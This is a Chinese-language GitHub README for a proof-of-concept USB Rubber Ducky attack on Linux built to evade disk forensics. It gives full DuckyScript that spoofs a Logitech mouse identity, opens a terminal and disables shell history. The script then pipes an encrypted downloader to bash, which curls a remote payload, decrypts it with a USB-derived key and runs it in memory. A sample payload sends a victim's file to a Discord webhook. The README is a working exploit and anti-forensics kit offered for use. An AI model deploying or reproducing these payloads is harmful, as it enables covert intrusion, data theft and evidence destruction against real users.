OSINTI4L/Gobbledegook
GitHub: OSINTI4L/Gobbledegook
Gobbledegook 是一个概念验证热插拔攻击 payload,通过运行时内存密钥推导和无文件执行技术来抵抗 Linux 系统的事后磁盘取证分析。
Stars: 0 | Forks: 0
# 🔑 Gobbledegook 🔒
Gobbledegook 是一个概念验证(PoC)热插拔攻击 payload,旨在抵抗针对 Linux 系统的事后磁盘取证。
**实验环境:**
- Ubuntu Server 24.04
- Ubuntu Desktop 24.04
- [Hak5 USB Rubber Ducky](https://shop.hak5.org/products/usb-rubber-ducky)
## 摘要
Gobbledegook 采用通过 `openssl` 实现的两步 payload 加密方法,用于获取攻击者外部托管的加密 payload,并加密热插拔下载器 payload(用于注入和获取外部托管的 payload),从而提高对事后磁盘取证的抵抗能力。这些 payload 通过 `openssl` 进行加密并进行 `base64` 封装,所使用的对称环境密钥源自通过 `lsusb -v` 从热插拔设备本身收集的 USB“架构参数”。这意味着 payload 解密密钥的推导是在攻击运行时于内存中执行的;它既不存储在热插拔设备上,也不从外部来源获取,更不会保存到磁盘。从 USB“架构参数”收集的值通常不会被记录到磁盘,它们会在运行时于内存中通过 `lsusb -v -d 0x046D:0xC05A 2>/dev/null | grep -E "bmAttri|MaxPower|wMaxPacket" | awk '"'"'{print $2}'"'"' | paste -sd "-" -` 串联起来以创建解密密钥(密钥示例:`0xc0-100mA-3-0x0008`)。热插拔设备的厂商和产品 ID 进行了伪装(`VID_0x046D PID_0xC05A MAN_Logitech SERIAL_0 PROD_M100`),以便事后日志分析时将该设备识别为 Logitech 鼠标,从而掩盖使用了热插拔设备的事实。热插拔下载器 payload(如前所述)也是加密的。这意味着注入的命令直到运行时才会被解密,因此,终端命令输入的日志记录将只提供密文,此外还使用了 `set +o history && unset HISTFILE` 作为减少日志记录面的附加方法。一旦注入,便会执行解密密钥推导并将其传递给 `openssl` 以解密下载器 payload。随后,下载器 payload 被通过管道传递给 `Bash` 在内存中执行,无需将任何文件写入磁盘。接着,通过 `curl` 获取主 payload,传递给 `openssl` 进行解密,最后通过管道传递给 `Bash` 执行;整个过程完全在内存中执行。payload 执行完毕后,会使用终端 `exit` 命令来掩盖终端的交互痕迹。
**payload 执行过程的流程如下:**
1. 将热插拔设备插入目标机器
2. 终端弹出
3. 禁用 `Bash` 历史记录内存日志,并取消设置 `Bash` 历史记录文件
4. 加密的下载器 payload 被注入终端
5. 下载器 payload 通过管道传递给 `openssl`
6. 执行解密密钥推导
7. 下载器 payload 被解密并通过管道传递给 `Bash` 执行
8. 获取外部托管的加密主 payload
9. 主 payload 通过管道传递给 `openssl` 进行解密,随后通过管道传递给 `Bash` 执行
10. payload 执行完成后使用 `exit` 掩盖终端交互痕迹
## 使用场景
在试图通过热插拔攻击入侵 Linux 机器时,针对磁盘取证的操作安全考量。
## 注意事项
虽然此 PoC 中的步骤强调反磁盘取证,但应注意,*这**并不能**完全涵盖*所有的取证规避。EDR 系统、网络监控系统、RAM/进程监控、从非重新分配的内存空间中恢复数据等,都可能绕过反取证工作。此外,虽然*密钥本身*被设计为仅在运行时于内存中推导,但密钥推导过程(`"$(lsusb -v -d 0x046D:0xC05A 2>/dev/null | grep -E "bmAttri|MaxPower|wMaxPacket"`)必须保持明文形式,以便 shell 能够解析它。
## 工作流
### 收集密钥
**1) 在热插拔设备(USB Rubber Ducky)上使用“虚拟” DuckyScript payload 来推导要使用的加密密钥:**
```
ATTACKMODE STORAGE
WAIT_FOR_BUTTON_PRESS
ATTACKMODE HID VID_0x046D PID_0xC05A MAN_Logitech SERIAL_0 PROD_M100
DELAY 90000
```
**2) 收集参数值并串联起来形成密钥:**
`lsusb -v -d 0x046D:0xC05A 2>/dev/null | grep -E "bmAttri|MaxPower|wMaxPacket" | awk {'print $2}' | paste -sd "-" -`
密钥示例:`0xc0-100mA-3-0x0008`
### Payload 创建
**1) 创建要外部托管的 payload 并保存为 payload.txt**
(通过 Discord webhook 渗透目标机器上名为“wowmuchsecret.txt”的文件的演示 payload)
```
curl -X POST -H "Content-Type: multipart/form-data" \
-F "file=@/home/$USER/wowmuchsecret.txt" \
-F "content=$ Loot Incoming $" \
"https://discord.com/api/webhooks/YOURWEBHOOKHERE"
```
**2) 使用“收集密钥”步骤中的密钥加密 payload**
`openssl enc -aes-256-cbc -salt -pbkdf2 -a -pass pass:"0xc0-100mA-3-0x0008" -in payload.txt`
输出示例:
`U2FsdGVkX1/iF9yKhLZtEU07Aa4kJmgjFdVH6Pa0vBppkAtUY3glTbXeb6tq/VEUo9//nFH40AU6ZBGMA1izQzBovezzRLQ2amCGIDEDSl2K+eqr/qIkzb6WfvfESwGo3ik677Ml5nRUH7xyAwwvjA98crrRwYwyIXXY6UrNlHacFRrWCnrHd/+xShAG9XOn5K6kMM7MBGphJv3AIB0ZhCYsywB55OlbnvWUODHSVyHcPMfa6jq/fI6EvCv8xeusDczaGhqWuXJldB+AuxX5IA==`
**3) 将加密的 payload 托管到 payload 投递服务器**
示例:
`https://raw.githubusercontent.com/HeckinH4ckerm4n/t5/refs/heads/main/payload.txt`
### 下载器 Payload 创建
**1) 创建指向托管 payload 的下载器**
(粘贴到终端中)
`CMD_STRING='curl -sSL https://raw.githubusercontent.com/HeckinH4ckerm4n/t5/refs/heads/main/payload.txt | openssl enc -aes-256-cbc -d -pbkdf2 -a -pass pass:"$(lsusb -v -d 0x046D:0xC05A 2>/dev/null | grep -E "bmAttri|MaxPower|wMaxPacket" | awk '"'"'{print $2}'"'"' | paste -sd "-" -)" | bash'`
**2) 使用“收集密钥”步骤中的密钥进行加密**
`echo "$CMD_STRING" | openssl enc -aes-256-cbc -salt -pbkdf2 -a -pass pass:"0xc0-100mA-3-0x0008"`
输出示例:
`U2FsdGVkX1965pdGIEEHRZa8ZXFiL0iWSjVlWB9Sclwq4RYRrOBWQiZelGCZvA/CAMUeVz1Udy/pJmXaWo+MenH7slYwQFL893UTvsDuW/JOCCTRKJBjDjpzaQ9xkgbREQDG895gVTsnCKOJzjoSflNkKt360bGraBQBSW9h4VHcx4l3dSbiYyeOlLJzhs2juvlx0Z0CFHH6N+H5oyBa91rsrNmt+82AkTEQk+LqSirT+vkGt1mtTgMh+rvpLfU2SIIpXVjZ1pbFYIE022iWzly77dT4p+ckJBNGOhrlZPT6sN3LRsSO8fp3GYw1e9EcgZIWrYwSIM8nU7V3yxRspZDWTLHaJiui+i3YhpeB9Tq2lHmbU67yG0sHHM5UFnTL`
**3) 导入到 [Payload Studio](https://payloadstudio.hak5.org/)***
(完整的 DuckyScript 下载器 payload)
```
ATTACKMODE STORAGE
WAIT_FOR_BUTTON_PRESS
ATTACKMODE HID VID_0x046D PID_0xC05A MAN_Logitech SERIAL_0 PROD_M100 <--- Device spoofing
DELAY 1000
CTRL ALT t <--- Terminal pop
DELAY 1000
STRINGLN_BASH
set +o history && unset HISTFILE <--- Terminal history disabled
echo "U2FsdGVkX1965pdGIEEHRZa8ZXFiL0iWSjVlWB9Sclwq4RYRrOBWQiZelGCZvA/CAMUeVz1Udy/pJmXaWo+MenH7slYwQFL893UTvsDuW/JOCCTRKJBjDjpzaQ9xkgbREQDG895gVTsnCKOJzjoSflNkKt360bGraBQBSW9h4VHcx4l3dSbiYyeOlLJzhs2juvlx0Z0CFHH6N+H5oyBa91rsrNmt+82AkTEQk+LqSirT+vkGt1mtTgMh+rvpLfU2SIIpXVjZ1pbFYIE022iWzly77dT4p+ckJBNGOhrlZPT6sN3LRsSO8fp3GYw1e9EcgZIWrYwSIM8nU7V3yxRspZDWTLHaJiui+i3YhpeB9Tq2lHmbU67yG0sHHM5UFnTL" | openssl enc -aes-256-cbc -d -pbkdf2 -a -pass pass:"$(lsusb -v -d 0x046D:0xC05A 2>/dev/null | grep -E "bmAttri|MaxPower|wMaxPacket" | awk {'print $2}' | paste -sd "-" -)" | bash && exit <--- Downloader payload injected
END_STRINGLN
```
**4) 编译**
**Payload 现已激活并准备好进行投递。**标签:DNS 反向解析, USB攻击, 反取证, 子域名变形, 安全攻防, 安全测试工具, 安全评估, 应用安全, 物理安全